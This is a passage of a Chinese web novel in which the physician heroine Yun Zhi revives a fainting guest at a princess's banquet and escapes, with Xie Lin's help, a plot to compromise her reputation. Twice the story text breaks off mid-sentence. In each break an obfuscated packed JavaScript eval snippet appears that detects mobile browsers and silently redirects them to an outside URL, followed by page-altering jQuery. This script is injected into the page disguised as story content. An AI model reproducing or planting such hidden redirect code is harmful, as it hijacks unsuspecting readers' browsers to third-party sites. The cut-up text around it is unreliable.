她一对杏眸迫不及待地看向花园入口,面上也泛起了一抹红晕。 原本她执意要参加这赏花宴,不过是听人说,二皇子殿下可能会参加,却不想……传言竟是真的! 她果然赌对了! 云织随着众人起身,看过去,便见到一道白色的身影向着众人的方向大步而来。 “参见二皇子殿下!”众人纷纷行礼。 “诸位免礼。”来人语带笑意,“本宫今日来是顺便凑个热闹,大家不要拘束,反倒让本宫扰了诸位雅兴。” 云织随着众人一齐起身,向着来人看去。 这位二皇子身着一套月白色衣衫,身姿挺拔,面容俊秀含笑,带着一股温文尔雅的气度。看着没有半分皇子的骄矜,反倒很是亲和有礼、清隽大方。 这人,云织是有些印象的。 二皇子萧承景,与大皇子萧承樾同为当今皇后所出嫡子。 记忆中,谢凛曾经在凤梧山时,也偶有提及这位皇子。 萧承景曾拜谢渊将军为师,学习过武艺与兵法,与谢凛交好,互为知己。 谢凛曾称赞他襟怀洒落,是谦谦君子、有治国之才,只是,似乎并不太得当今帝后喜爱。 二皇子如今已二十二岁,还尚未婚配,在皇子之中实属罕见。 也是因此,许多仰慕其气度才华、或是惦记其尊贵身份的贵女,对他便很是倾慕。 云织看着长平公主与萧承景浅笑着交谈,不动声色地蹙了蹙眉。 这位二皇子,应是位人品贵重之人,竟与长平公主这样的人很是交好么? 倒是让他在她心中的君子形象,降低了许多。 萧承景与长平公主交谈了几句,视线掠过场中众人,便直直落在了谢凛的身上。 他浅笑了笑,背手向着谢凛走了过去。 “阿凛今日怎么这么有雅兴,竟会来这样从不屑于参与的宴会呢!”他立在谢凛面前,面上带了一丝促狭。 “二皇子。”谢凛起身,对着萧承景行了礼。 萧承景并未言语,只是看着谢凛,皱了皱眉。 “人前礼节,还是要有的。”谢凛并不理萧承景面上的不悦,行过礼后,才与萧承景一同又坐了下去。 “你今日怎么有空过来?”谢凛压低了声音,对萧承景的称呼也由敬称变为了你。 以二人的关系,私下里是从不在意这些虚礼的。 “你自做了这京畿卫的统领后,忙得我都见不到人,听说你接了长平赏花宴的帖子,我怎么可能不来。”萧承景也压低着声音,话里满是对谢凛的揶揄。 “谢大人,谢少将军,为我大梁如此尽心尽力,本宫只好借机,亲自来见你了。” “话真多。”谢凛面色不变,淡淡回了他三个字。 萧承景被谢凛的话逗得忍不住一笑。 “你还是这么无趣。对了,许衡奕今日,怎么没来?”萧承景的目光里满是疑惑。 他与许衡奕是因谢凛而相识,相交许久,倒也颇为投契。 这位许大公子,向来最喜欢这样的场合,怎的今日竟没有与阿凛一起? “受了打击,不想见人。”谢凛言简意赅。 许衡奕似乎要向云织表明心迹,却被云织直接拒绝的事,当日沈青便报与他了。 这几日许衡奕便把自己关在屋里,像是受了不小的打击。 念及至此,谢凛原本便因方才与云织独处而很是愉悦的心思,此刻不由得更愉悦了一点。 “哦?”萧承景挑了挑眉,很有兴致,“受了什么打击?” "不知。" 萧承景摇头笑了笑,目光扫过园中此刻的各色男女,“阿凛啊,你这样冷冰冰的性子,从来惜字如金的,如此不解风情,可有哪家的贵女会看得上你。” 谢凛不言。 萧承景似乎感知到了他的情绪,面上的笑意敛去,看着他时,眸子中已满是认真。 “阿凛,云家的小姐,还是没有消息吗?” 谢凛沉默了一瞬,视线不由得扫过远处独坐的云织。 “还没有。”他默了默后,才答道。 他与萧承景,虽然不似与许衡奕一样自幼相交,但也是多年的交情。 即便身份悬殊,但他信萧承景,便与信任许衡奕一样。 云织便是曾经的云昭月,此事他既未告知许衡奕,也还不想告知萧承景。 如今云家灭门凶手未明,若是昭昭的身份被泄露出去…… 他不能冒险。 萧承景沉默了一瞬,而后拍了拍谢凛的肩。 “功夫不负有心人,总会有消息的。”萧承景道。 只是话音才落,他面上便又带了一丝促狭,“不过,阿凛,你得抓紧了。” “长平已对你倾心许久,难保她什么时候会逼得父皇答应了,又讨了一道赐婚的圣旨来。” “以父皇对长平的宠爱,也不是每次都能严词拒绝的。” 谢凛忍不住皱眉。 这位难缠的长平公主,着实让人心烦。 自他在长平公主与那副将的大婚当日见过其一次后,她便开始有意无意地接近他。 才初为人妇,整日下帖子作宴,或邀他过府一聚。 原本谢凛以为,是那副将相邀于他,赴过一次宴后便发现了不对,而后直接与其断了往来。 而自那副将突发急症病逝,长平公主新寡,便更加变本加厉,原本的试探接近便转为了死缠烂打。 若不是要顾及皇家颜面与谢家上下,他早便将这不知廉耻之人拎着领子丢到野林子里,去喂野兽了。 他谢凛长到十八岁,有生之年,还从未如此厌烦一个女子。 “你也不要太过担心,我自会从中周旋的,毕竟父皇……”萧承景看着谢凛皱眉厌烦的模样,面带着笑意还要再说,却被一声惊呼蓦然打断。 “周大小姐晕倒了!” “周大小姐,你怎么样?” 众人闻声看去,便见到一个一身芋紫色华服的小姐软倒在了地上。 “出什么事了?”萧承景眉头一皱。 谢凛也是面目冷沉。 两人虽担心,但男女有别,他们也不好上前。 其他各家公子自然也是如此考虑,都只远远看着,而贵女小姐们则是纷纷上前将人围住。 “她怎么样,没事吧?” “像是晕过去了!” 云织在那位周大小姐晕倒之时,便看到了。 原本她第一反应就要上前查看,但想到此刻身处长平公主府,便硬生生将迈出去的脚收了回来。 身为公主,府上自然有医术高明的医者。 况且,如今情况不明,她并不适合在此刻冒险惹人注意。 “这是怎么了?”众贵女正围着那周大小姐七嘴八舌之时,长平公主注意到了此间异状,也缓步走了过来。 “公主,周大小姐晕倒了!” 长平公主看着那周大小姐双目紧闭、已失去知觉的模样,不由得蹙了蹙眉。 “传府医。”半晌之后,她侧头对着身后的丫鬟道。 “是!”那丫鬟得了令,马上转身就走。 长平公主蹙眉看了那周大小姐一眼,视线无意间掠过人群后方的云织。 霎时间,她想到了些什么,柳眉微微一挑。 “慢着。” 此言一出,方才跑出去几步的丫鬟忙顿步转身。 “请府医路远,怕是会有所耽搁,”长平公主远远看着云织,嘴角噙了一丝似有似无的笑意,“本宫听闻,今日赴宴的云织小姐曾师从名医,医术精湛、京中少有,又何必舍近求远呢!” “可否劳动云织小姐,为周大小姐瞧看一番?” 长平公主所言听着似是问询,但语气却带出几分不屑,与不容置疑。 云织抬眸,正对上长平公主的视线。 而燕紫鸢与许姝正立在长平公主身侧,此刻远远看着云织,一脸的挑衅与得意。 云织瞬时便明白了,为何这位长平公主会找上她。 既主动找上了她,又岂有退缩之理。 云织站起身,对着长平公主行了一礼,“民女不才,可以一试。” 谢凛看着云织站起身,缓步走向前,手不由得攥紧。 他已是小心提防,却还是没有防住。 冷冷看着长平公主与她身侧的燕紫鸢,谢凛的眸色冷凝似冰。 长平公主是受了谁的挑拨,显而易见。究其原因,也是显而易见。 这位嚣张跋扈的户部侍郎嫡女,与向来恣意妄为的长平公主,是一丘之貉。 自那日她与许姝编排云织被阿璧出手教训,他便猜到,燕紫鸢不会轻易便算了。 那日那伙凶徒意图闯入云织新宅,应该便是她的手笔。 只是当日阿璧下手奇快,除了最后一个活口外其余均是一剑封喉,而最后那人却在入了京畿卫大牢当晚,便吞毒身亡。 连审问都没来得及,便死无对证。 谢凛的心中涌出浓浓的后悔。 既知道她心怀叵测,会对云织不利,便该早些拿住她的把柄,将危险排除的。 若是如此,今日又怎会让她有可乘之机。 “阿凛,你认识那位,云织小姐?”身旁的萧承景自然也发现了谢凛的不对,见他直直盯着云织,不由得出口问道。 “有过几面之缘。”谢凛不欲多言。 “哦?”萧承景挑了挑眉。 在阿凛的口中,这世间的女子大体分为三种。 第一种,是亲人。指的是阿凛已故的娘亲,和谢府的大小姐、 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“来人,去取云织小姐的银针和药。”长平公主眉目不动,淡声吩咐道。 立于她身后的丫鬟得令即走。 “不知,周大小姐是何病症,为何会晕倒?”长平公主注视着云织,问道。 “周大小姐应是近日劳倦,未好好休息,致气血运行不畅,脉络瘀阻,故而猝然晕厥。”云织淡然道。“但,并无大碍,稍后我为周大小姐施针,便可缓解。” 那丫鬟脚程很快,不过片刻功夫,便取了东西回来。 “禀公主,云织小姐的银针和药物,都在这里了。” 长平公主的视线在丫鬟手中之物上淡淡扫过,便示意丫鬟将东西交给云织。 云织接过银针与药瓶,立时打开其中一瓶,而后拨开针囊,抽针。 纤白素手持针,银针针尖在药瓶中一沾,而后眨眼间,便将那银针插在了周大小姐的额前。 周围的贵女们忍不住吸了口凉气。 她们看着云织素手连抬,将那银针一根接着一根地插入周大小姐的面部、腕间与手上。 云织的速度奇快,下针没有丝毫犹豫,整个动作如行云流水、一气呵成。 待施针结束,云织仔细查看着周大小姐的面色,而后又打开了一个药瓶,取出一颗药,轻轻掰开周大小姐的嘴巴,将那药喂到了她口中。 “周大小姐没事了,用不了半刻钟,便会醒来。”做完了这一切,云织才抬眸看向长平公主,淡淡道。 周围一片安静。 静到几乎落针可闻。 围住云织与周大小姐的贵女们,此刻满脸均是震惊。 方才云织施救的那一幕,带给了她们深深的震撼。 既为各家贵女,自然见过医者行针诊病,但…… 却从未见过像云织这样的娇小姐做这些,且动作利落果决,行动间竟显出几许医之大者的意蕴来。 长平公主身侧的云妍初,看着云织,此刻眼中均是崇拜与信任。 而云妍初身侧的燕紫鸢与许姝,却是攥紧了手中的绣帕,满脸怨愤。 而长平公主淡淡看着云织,美目流转间,嘴角便噙了一丝若有若无的笑意。 她听云妍初提及过云织医术高超,今日便是特意多求了一张帖子,带了云织来,现场配药。 方才又听户部侍郎家的燕大小姐提起云织,所以便对这个出身低贱却气质脱俗的女医者,起了一丝兴趣。 方才,她不过顺口一言,想着为难她一番。 本想她一个没见过什么世面的女子,自然不敢在大庭广众之下展示所谓的医术、丢人现眼。 却不想,她胆子却很大。 的确很是让人意外呢。 长平公主的视线扫过正远远望过来的各世家公子,看着众人眼底皆有惊艳之色,眸底便生了丝冷意。 想不到,倒给她搭了台子,唱了一出好戏。 “云织小姐便如此确认,周大小姐半刻钟内,便可醒来?” 长平公主微微抬眸,原本妩媚动人的眸光中竟似泛着冷,“周大小姐可是本宫贵客,若是有所损伤,本宫担待不起,云织小姐,更是担待不起。” 长平公主此言一出,围观的众人均是一愣。 再略一琢磨,便明白了这深层里的意味。 长平公主向来矜傲,怕是不满这位云织小姐在她的宴会上出了风头,想要故意刁难呢! 燕紫鸢与许姝听闻此言,则均是眸色一亮,又满脸得意地看向云织。 真是小门小户出身,如此不知深浅,敢在长平公主面前炫耀! 云织抬眸对上长平公主的视线,语气依旧淡然,“民女可以性命为保,周大小姐在半刻钟内,一定会醒。” 此言一出,又是一片震惊。 众人看着云织不卑不亢的模样,不由得心底为她捏了把汗。 这位云织小姐,实在是太冲动了啊! 若是周大小姐无法在半刻钟内醒来,她要如何收场呢! 萧承景远远看着云织淡然自若的模样,不由得笑了笑。 他的脑中不由得浮现出一句话—— 清冷孤傲,宠辱不惊。 “这位云织小姐,还真是特别。”萧承景满脸均是赞赏。 身侧的谢凛并未言语,但却皱着眉头,忍不住攥紧了手心。 23. 不敢不醒 此刻已近正午,虽已是秋日,仍觉流阳似火。 园中的公子贵女们,从未觉得半刻钟竟是如此漫长。 周大小姐已被人扶起,安置在了椅子上,云织则坐在她的身旁,手一直搭在她的腕间。 “云织小姐,半刻钟可是就要到了呢!”长平公主远远坐着,此刻眼角微抬,瞥向云织,“怎的周大小姐,还是没有丝毫反应呢?” “莫不是云织小姐方才是在夸海口,消遣周大小姐与本宫么?” “公主殿下稍安勿躁,时辰,还没有到。”云织面色如常,不卑不亢道。 云织话音才落,便觉得手下周大小姐的手腕似乎微微动了动。 她侧头看过去,却见周大小姐黛眉微蹙,眼睛仍紧闭着,并没有要醒过来的迹象。 云织眸色微深,搭在她腕间的手一动,便换了指法。 身旁围观的贵女们见她神情有变,均担心地提着一口气。 莫不是……云织小姐方才,果真是在说大话? 却见一瞬之后,云织微微挑了挑眉,唇角微弯,竟露出一抹浅笑。 这笑容如春风拂柳、暖阳映面,看得众人皆是一呆,心里不约而同地冒出两个念头。 第一个,这云织小姐笑起来,真是艳绝动人! 第二个,半刻钟马上就要到了,周大小姐还没有醒,怎的云织小姐还笑得出来呢! 云织的这抹笑意来得莫名,众人皆是满心疑惑,但看在另外两人眼中,却是不同的意味。 一个,是谢凛。 谢凛远远看着云织的模样,原本面上的冷硬线条竟根根柔软了下来。 他想起,在凤梧山时,云叔母会故意寻一些顽症让昭昭破解,每次昭昭冥思苦想许久,最后解出了,便都是这样一挑眉,然后露出这样一抹得意且志在必得的笑。 如今虽然昭昭的模样变了,原本恣意烂漫的性子也收敛了不少,但此刻这样的神情,却是那般熟悉。 也让他无比真切地体会到,这的确是昭昭。 是他的昭昭。 另一个,便是云清川。 他站在人群里,看着云织此刻的模样,原本温文尔雅的面上愕然失色,双手蓦地攥紧。 这笑容……他太熟悉。 曾经,每次他前去凤梧山,无数次地见过那个恣意明媚的小姑娘,这样对着他笑。 “清川哥哥,我娘今日又出了难题考我,但都难不倒我!我是不是很厉害!” “清川哥哥,凛哥哥教了我骑马,我如今已经可以自己骑马了,是不是很棒!” 昭昭的声音似乎在耳旁响起,方才的笑容与那日云织在云府门前对他一笑的模样,逐渐重叠。 自遇到云织后便盘踞他心头的怀疑,此刻汹涌而起,几乎要将他的理智吞没。 难道,她……真的是昭昭? 昭昭真的没有死! “周大小姐,这便要醒了。”就在众人心思各异间,便听得云织淡淡开口了。 云织话落,缓缓俯身低头,像是在查看周大小姐的情况般,凑近了她的耳旁,半晌之后复又直起身来。 就在她起身的瞬间,原本还没有任何反应的周大小姐眼睫微颤,缓缓睁开了眼。 “醒了醒了!周大小姐醒了!” “果然半刻钟不到,周大小姐便醒了!云织小姐的医术果真不凡!” “云织小姐医术卓绝,在下佩服!” 一时之间,众位公子贵女的恭贺之声不绝于耳。 “云织小姐,果然医术不凡呢,”此时长平公主抚弄着指尖,缓缓开口:“本宫,也算是开了眼了。” 言罢,她抬眼看着云织,缓缓露出一个娇媚至极、却泛着冷意的浅笑。 周围此起彼伏的恭维之声瞬间便低了下去,直至再无声音。 众人这才后知后觉想起,长平公主对这位云织小姐已很是不悦,如今云织小姐赢了,甚至是大放异彩,这位跋扈的长平公主心内,不知该是如何嫉恨。 念及此处,众人均不敢再说什么,唯恐触了她的霉头。 长平公主美目环顾了一周,落在刚刚醒来的周大小姐身上,“周大小姐,你没事吧?” 周大小姐仍是面色苍白的虚弱模样,听了长平公主此言竟微微一颤,忙答道:“我……我没事了,多谢公主挂怀……” “没事就好。”长平公主说完,便不再看她,眸光淡淡扫过云织,而后侧头,“来人。” “公主!” “周大小姐身子不适,需要静养,送周大小姐回府,好生休息。” “是!” 话音一落,立刻有丫鬟上前来,搀起了周大小姐。 周大小姐被搀着起身,却忍不住侧头,看了云织一眼。 恰好云织也正看着她。 周大小姐被云织目光中的冷意刺得微微瑟缩,便再不敢看,忙转开了视线。 云织垂眸,盖住了其内的冷意。 这世上,从没有纯粹的好人与坏人,只看是否牵扯自身利益。 方才这位周大小姐,是真的身子不适晕倒了,但在长平公主说时间快到了的时候,她便已经醒了。 却仍假装晕着。 原本云织以为,真的是自己出了差错,周大小姐才迟迟未醒,可在确认她脉象无误,且手腕有细微动作后,瞬间便想明白了其中关窍。 想来,这位周大小姐应是醒来后恰好听到长平公主的话,怕开罪了这位骄横的公主,所以—— 不敢醒。 无妨,既然她不敢醒,那么,也可以让她,不敢不醒。 在这位周大小姐还昏迷着时,她为其诊脉,发现了这位小姐的一些隐疾。 原本云织并未在意。 但,既然周大小姐只顾保全自身,丝毫不顾她当时的处境,那么,利用一下她的隐疾,也无可厚非。 方才,云织俯身在这周大小姐的耳旁,悄悄说了一句话。 “若是你再装晕下去,我便将你胞宫寒冷,癸水不调,此生难以受孕、延绵子嗣的病症,当场说出来。” 结果显而易见。 善,要给值得给的人。 而这位周大小姐,不配。 … 经过了周大小姐这一事后,众人再没有了赏花的兴致。 加之时至正午,众人已是腹中空空,长平公主便让众人先去客房歇脚,待摆好宴席后,再邀诸位入席。 在众人被公主府的下人引着去客房休息时,萧承景竟与谢凛一道,行至云织面前。 “云织小姐,请留步。” 云织闻言转头,见到来人是萧承景与谢凛,不由得目光微微一乱。 “见过二皇子殿下。”云织避开谢凛看过来的目光,压下心中的异样,恭敬行礼。 “免礼,我方才说了,不必多礼。”萧承景以手虚扶,笑容温雅。 “云织小姐医术,方才真是让在下大开眼界。可见云织小姐曾经定是勤学苦练,才有今日成就。在下实在佩服。” 萧承景此言说的极其诚恳,没有半分恭维或蔑视之意,云织微微躬身,“二皇子殿下过赞了,云织不敢当。” “阿凛这样冷清的人,都赞云织小姐医术过人,可见,云织小姐当得。” 云织闻言,心又忍不住一跳,而谢凛的目光自云织面上淡淡扫过便移开,并未言语。 萧承景背着手,浅浅笑了笑,面上多了几分郑重之色,“长平骄纵惯了,方才言语之间多有失礼,还请云织小姐,不要在意。” “二皇子殿下言重了。”云织闻言,言语里便也多了一丝真意。 身为皇子却并不骄矜自傲,不偏私、不掩饰,此人倒果真如谢凛曾经所言,谦谦君子,襟怀洒落。 三人交谈间,却未注意到云妍初远远看着萧承景与云织浅笑言谈的模样,愣了许久。 她咬着唇,目光在萧承景与云织之间不断游移,最终攥紧帕子,转过了身。 此刻明明是艳阳高照,而那道纤细的背影,却像是被抽走了浑身的力气,显得很是萧索。 … 云织被带去休息的客房,还是她先前所去制药的那间。 因近日公主府宾客太多,客房不够,所以便两人一间暂作休息。 云织与云妍初是同一间房。 但不知为何,云织回到客房许久后,都不见云妍初身影。 云织想,云妍初定是与长平公主在一处,便也并未多想。 稍作休整后,她便整理着手中的药瓶,同时将三根银针小心放在了衣袖之中。 这是她恢复的记忆中,母亲曾教她的法子。 因她从前吃不得苦,不肯学武练功,父亲母亲也不逼她。 她的医术学有所成后,母亲便教了她这法子,关键时刻可以保命。 因为学医术,云织对人体穴位命门了若指掌,若是在遇险时出其不意,对方没有防备,是有很大胜算的。 从前她没有用上过,但今后,却不一定了。 云织脑中不由得浮现出方才燕紫鸢与许姝瞪着她时,那冷冷的眼神。 还有…… 长平公主。 云织不清楚,她今日,算不算是与长平公主交恶。 但看长平公主今日所为,和看着她时的神情,想来,定是算的。 云织正垂眸沉思着,却听见房间外传来一阵脚步声,由远及近。 她本以为,是云妍初回来休息了,但一瞬之后却立即察觉到不对。 云妍初一个女子,身量纤细,断不会有这般沉重的脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在他进门的时候,我藏在门后,用银针将他刺晕了。” 看着谢凛,云织只觉得心里瞬时安定了许多,后面的话便自然出口。 谢凛只用了一瞬,便明白了云织言中之意。 一个男子去了她的房间,背后之人是何用意,可想而知。 无论做这局的人是谁,只要云织没有被人撞见与那人同在房内,此局便可破。 “你方才跑出来,有没有遇到人?”谢凛想通了其中缘由,便蹙眉又问道。 “没有。”云织摇了摇头。 此刻无论是谢凛还是云织,两人都未发现,谢凛对云织的称谓,已无比自然地换成了“你”。 “好。”谢凛直起身,又四处观察了半晌,确认四下无人后,才转向云织:“跟我走。” “嗯。”云织没有任何犹豫,便点头应声。 若说此刻,有谁可以让她全心信任、不会有一丝的怀疑,便只有谢凛。 云织被谢凛护着,一路遮掩着身形,悄然离开了此处。 半晌之后,安静的院子突然嘈杂了起来。 燕紫鸢与许姝领着几个贵女,正言笑晏晏地走在院中。 “燕大小姐,你真的能帮忙,向云织小姐求药吗?”跟在两人身后的一个红衣小姐忍不住问道。 “自然了,云织小姐可是姝妹妹的表亲,姝妹妹开口,云织小姐自然不会不应的。”燕紫鸢嫣然一笑,用绣帕掩了掩唇道。 “不过是求些美容养颜的药,又不是什么秘方,想必云织小姐也不会那般小气。” 跟在燕紫鸢身旁的许姝眸色微闪,咬了咬唇,并未作声。 “只是,打扰云织小姐休息了,倒是真让人过意不去!”燕紫鸢眸中闪过一丝冷意,却浅笑着道。 说话间,众人已来到了云织房间门前。 却见房门打开,似有个身影倒在门内地上。 “天!云织小姐怎么了!”其中一个小姐瞥见地上的人,面色一变惊呼出声。 燕紫鸢心内一喜。 她面上挤出几许关心之色,便快走两步上前,“云织小姐,你没——” 话还未说完,在看清地上躺着的人后,她立时满脸惊愕,转头看向房内。 除了倒在地上的人外,房间内便再无一人。 这是怎么回事! 那野女人呢! “啊——!” 还不待燕紫鸢有所反应,身后跟着的小姐们已看清了地上躺着的男子,不由得花容失色,惊呼出声。 24. 为她开脱 公主府后花园前往客房的路上,谢凛与云织并肩而行。 偶尔有公主府下人路过,均是小心翼翼又不敢置信地偷偷看上两人一眼,而后便匆匆跑开。 云织丝毫没有注意到这些,此刻她满心都是方才发生的一幕。 此局简单,却易奏效,对于女子来说,无异于杀招。 是何人所为,也并不难猜。 那男子竟能摸到女客客房,还精准找到她的房间,若没有人指引,断然是做不到的。 而有此动机,又有能力暗中布下此局的人…… 云织脑中逐个掠过她们的名字。 燕紫鸢,许姝。 长平公主。 或许,还有…… 云妍初。 云织微微攥了攥手心。 她尚无法确定,云妍初,是否参与其中。 云妍初方才一直没有回房间,是凑巧,还是—— 她知道稍后这房间内会发生什么,所以故意避开? 若是前者,便是她多心了。 但若是后者…… 云织眸色不由得一冷。 见云织一直垂眸走路,默不作声,谢凛以为她方才被吓到了,还未回过神,忍不住攥紧了手。 心内犹如被火烤着,愤懑难忍,又泛出细密的心疼。 他不停回想,方才若是云织反应没那么迅速、以银针将来人刺倒,或是跑出来时被人发现了,或是没有遇到他…… 每一条,结果会如何,他都不敢想下去。 明明是他失而复得、发誓定要好好守护的人,为何,却总不断遭遇危险? 是不是,他先前太过犹豫不决,就该不顾一切将她绑在身边? “你不要怕,有我在。”万般情绪之下,所有担忧,心疼,懊恼,便只化成了一句。 只是谢凛却未察觉到,自己这句话中涌动着怎样的缱绻柔情。 而只是一句,瞬间便将云织自方才的思绪中拉回。 云织微微一愣,然后才后知后觉地感到一阵心慌意乱。 他方才说,“你”不要怕,“我”在。 似乎刚刚差点撞上他时,他对她的称呼,也是“你”。 意识到方才谢凛的称呼竟一直如此亲昵,云织的心不由得一跳。 两次“偶遇”,两次出手相助。 若说第一次,她还有惊讶,可方才再次撞见他,她似乎从未想过,为何他会在那个时候,刚好出现在那里。 好像,他的恰好出现,她心里竟认为是理所应当。 或者说…… 在那个瞬间,她心底在期待着,他会出现。 云织被这个念头吓了一跳,不由得紧紧攥住手心,想要盖住此刻同心符灼人的烫意。 “多谢……谢公子……”云织不知此刻要如何回应他,便只能硬着头皮道了句谢。 此刻她心绪繁乱,甚至没有想到两人这样走在一起,是否合适。 更没有想过,谢凛为何要与她这样走回来。 谢凛闻言微微蹙眉,视线扫过身边人微红的面颊与攥紧的手心时,眉头又微微一松,终究没有说什么。 昭昭今日,受了这样的惊吓,此刻不适合再逼她太紧。 她心中有他,且足够信任他,当下便够了。 至于今后…… 谢凛眸色亮了亮,也攥紧了发烫的掌心。 这条路,并不远。 “这究竟是怎么回事!为何方公子会晕倒在云织小姐的房间?云织小姐呢!” 两人还未走进客院,便听到客房的院子一阵嘈杂,其中还夹杂着燕紫鸢故作惊慌的呼喊。 待走近了,看着聚在她门口的一群人,云织眸色立时一冷。 “燕大小姐,是找我吗?”云织淡淡开口。 她的声音并不大,但却让喧闹的人群瞬时安静了下来。 院中此刻已聚集了许多人,有在此院休憩的小姐贵女,也有被吵闹声吸引前来的公子,和公主府的下人。 众人看着云织与谢凛,此刻均是一副讶然呆滞的模样。 云织天水碧色的衣裙,衬着纤细却柔美的身形,谢凛玄色的衣衫,更显得卓然挺拔。 一个姿容绝色、楚楚动人,一个面如冠玉、气度清贵。 两人站在一处,竟如画中人一般,分外和谐,看着便让人赏心悦目。 众人心中不由得感叹:好一个郎才女貌! 而燕紫鸢看着二人,则是脸色瞬间变得铁青。 无论是围观的众人,还是燕紫鸢与许姝,此刻心中皆是同一个疑问。 他们两个人,为何竟会在一起? “云织小姐,你是什么时候出去了?”燕紫鸢咬了咬牙,掩下眼底的不甘,显得很是担心,“我们还以为,云织小姐被……” 话到此处,燕紫鸢故意没有说下去,还看了仍躺在地上昏迷着的男子一眼。 她的意有所指,在场之人自然看懂了,目光均带了些意味深长。 “被什么?”云织微挑了挑眉,眸光清明盯住燕紫鸢,“燕大小姐以为,我如何了?” “云织小姐,你也不要怪我多想,谁想到,你的房间竟会有男子出现,我实在是担心你……” “男子?”云织面带疑惑地重复了一句,而后视线投向她之前所在的房间。 待看到那地上躺着的人时,云织瞬时睁大双眼,像是被吓到了一般掩住了口,“这人……是谁!为何女客的客房,会出现男子?” 燕紫鸢看着云织的模样,眸色微冷,却故意道:“云织小姐不知这人是谁?可这人分明是倒在你的房间里……” “我方才,并不在客房中。”云织眸中流露出一丝恰到好处的柔弱,“方才行至半路,才发现不小心掉了簪子,便返回寻找,所以我并未回到客房。” “原来云织小姐未回客房,幸好!” “是啊,也算是躲过一劫!” “可见云织小姐行医济世,定是有福报的!” 此刻在场的公子贵女听闻云织所言,均是纷纷松了口气。 不论这方公子为何会出现在这里,若是云织方才在房内,便是有口也说不清了。 届时闺誉有损,日后婚配艰难不说,怕是再难在天启城立足了。 云织小姐这样容色倾城的人儿,又医术绝佳,岂非可惜! 燕紫鸢听着众人言语纷纷,气得涨红了脸。 她如此精心策划,又求得长平公主的默许,如今功亏一篑,她如何能甘心! “云织小姐如何证明,方才不在这屋内呢?”燕紫鸢攥着帕子,仍是装出一副关心的模样,“况且方公子无故晕倒在云织小姐的房间内,也实在是可疑。” “此事有关云织小姐清誉,兹事体大,定是要查清楚些才是。” 云织抬眸,一对清眸如冬日寒冰,冷冷看着燕紫鸢。 燕紫鸢被她看得心内一紧,但仍强自镇定。 只要云织拿不出证据,证明这人进去时她不在屋内,那么今日,无论如何也要让她名誉扫地! “燕大小姐是怀疑,我方才在这房间内,且凭我一个弱女子之力,将方公子打晕了,而后才出去的?” 云织面色平静,双手交握身前,举止说不出的端庄,“这样的指控,未免,太过荒唐。” “可是……”燕紫鸢面色一白,皱眉还要再说,却被一个声音蓦然打断。 “本将军方才,一直与云织小姐在一起。”一直未曾开口的谢凛看着燕紫鸢,冷冷道。 “燕大小姐要证明,不知,本将军的话,够不够资格,为云织小姐证明?” 此言一出,举座皆惊。 众人看着谢凛,似乎不敢相信方才的话是出自他口中。 这人是谁? 这可是素来生人勿近的谢少将军! 莫说是女色,他身旁便是知己朋友都没有几个,天启城内谁人不知。 可他竟然说,方才……一直与云织小姐在一起? 众人的目光自谢凛转向云织,又从云织转回谢凛,个个面色是说不出的惊讶。 不过一瞬之后,惊讶便逐渐转为了然。 云织小姐今日一展风华、艳惊四座,看来不仅是他们,便连这位冷面少言的谢将军,也被其吸引了! 想到长平公主对谢少将军说的话,众人心内均是忍不住一笑。 公主府今日的“景色”,的确没有叫谢少将军失望! 燕紫鸢难以置信地看着谢凛,脸色迅速涨红,却说不出一个字。 谢凛此人虽然孤冷,但向来声誉极佳,且与二皇子交好,又被当今圣上看重。 即便她再如何想一雪前耻,也知道她不可轻易开罪这位京畿卫的统领,谢家军的少将军。 “谢少将军的话,自然可信……”即便心里恨不能立刻便让云织身败名裂、滚出京城,燕紫鸢还是勉强笑着,开口道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481482|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云织立在谢凛身旁,一时不知该作何反应。 方才谢凛的话,便相当于对着在场的所有人表明,他们二人过从甚密。 他其实不必这样说。 方才燕紫鸢故意为难,说出那些话时,她便想好如何应对了。 以她一个弱女子的身份,又并不会武,只要她不认,那方公子拿不出证据,那便无人可以证明是她所为。 无论过程如何牵扯,没有实证,最终她总会自局中安全脱身。 她可以自己解决的。 可是…… 云织抬眼看向谢凛,却似乎在这人惯常冷漠如冰的眸子里,捕捉到了一丝笑意。 她被那抹笑意烫了一下,忙收回了视线。 此刻云织才恍然明白,方才谢凛执意要陪着她走回来,是何用意。 原来,他早便打定了主意,要用这说辞为她开脱。 … 此事后续的调查,很是顺利。 那方公子被救醒后,便带到了长平公主面前问话。 据其所言,后花园赏花后,回客院小憩时他不知怎的走错了院子,也是误打误撞进了云织的那间房间。 但不知为何,在推门进去的瞬间,他便晕倒了。 方公子所言也证实,在他进入房间时屋内确实并没有人,此事便再没什么好问。 长平公主将人训斥了一番,便令其先行离开。 长平公主特意将云织请了来,将询问的结果告知她,言语间更是满是歉意。 “云织小姐,此事,是本宫招待不周了,差点影响云织小姐的清誉。”在长平公主的房间,她坐在上位,一对杏眸淡淡瞥向云织,“本宫,实在惭愧。还请云织小姐,不要怪罪本宫呢。” 云织垂眸:“长平公主言重了,民女,不敢”。 她自然明白,长平公主对那方公子的讯问与此时的道歉,不过是面上的功夫,都是做给旁人看的。 真相究竟如何,她们彼此心知肚明。 当下以她之能,也奈何不得这位公主殿下,多说也是无益。 “云织小姐,与谢少将军,很熟吗?”在云织告辞要走之时,长平公主却蓦然开口。 云织的身形微微一顿,而后才道:“云织与谢将军并不相识,只是曾偶然在许府见过一次。” “原来如此。”长平公主的目光在云织的面上徘徊了一瞬,才露出一个娇媚至极的笑意,“那便好。” 云织再无言语,转身离开。 一切事毕,宴席终于开始。 